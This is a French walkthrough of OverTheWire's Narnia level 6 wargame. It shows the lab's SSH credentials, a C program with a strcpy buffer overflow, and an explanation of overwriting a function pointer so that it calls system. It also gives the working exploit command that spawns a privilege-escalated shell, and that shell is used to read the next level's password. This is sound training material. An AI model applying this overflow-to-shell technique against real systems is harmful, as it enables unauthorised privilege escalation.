====== Level 6 ====== ssh narnia6@narnia.labs.overthewire.org pass : neezocaeng #include #include #include extern char **environ; int main(int argc, char *argv[]){ char b1[8], b2[8]; int (*fp)(char *)=(int(*)(char *))&puts, i; if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); } /* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); /* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i])); strcpy(b1,argv[1]); strcpy(b2,argv[2]); if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1); fp(b1); exit(1); } Le programme //enregistre// l'adresse de la fonction ''puts'' dans la variable ''fp''. Il copie ensuite le contenu de ''argv[1]'' et ''argv[2]'' dans les deux buffers. Nous allons donc pouvoir écrire par dessus l'adresse de la fonction ''puts'' qui a été //enregistré//. Cependant, le programme vérifie que l'adresse de la fonction ne commence par par ''0xff'', ce qui correspond aux adresses de de la stack. Nous allons donc devoir contourner cette protection. Une des solutions possible est d'appeler la fonction ''system'' à la place de la fonction ''puts''. $ ./narnia6 $(python -c 'print "A"*8+"\x60\xf2\xea\xf7"') $(python -c 'print "C"*8+"/bin/sh"') $ id uid=14006(narnia6) gid=14006(narnia6) euid=14007(narnia7) groups=14007(narnia7),14006(narnia6) $ cat /etc/narnia_pass/narnia7 ahkiaziphu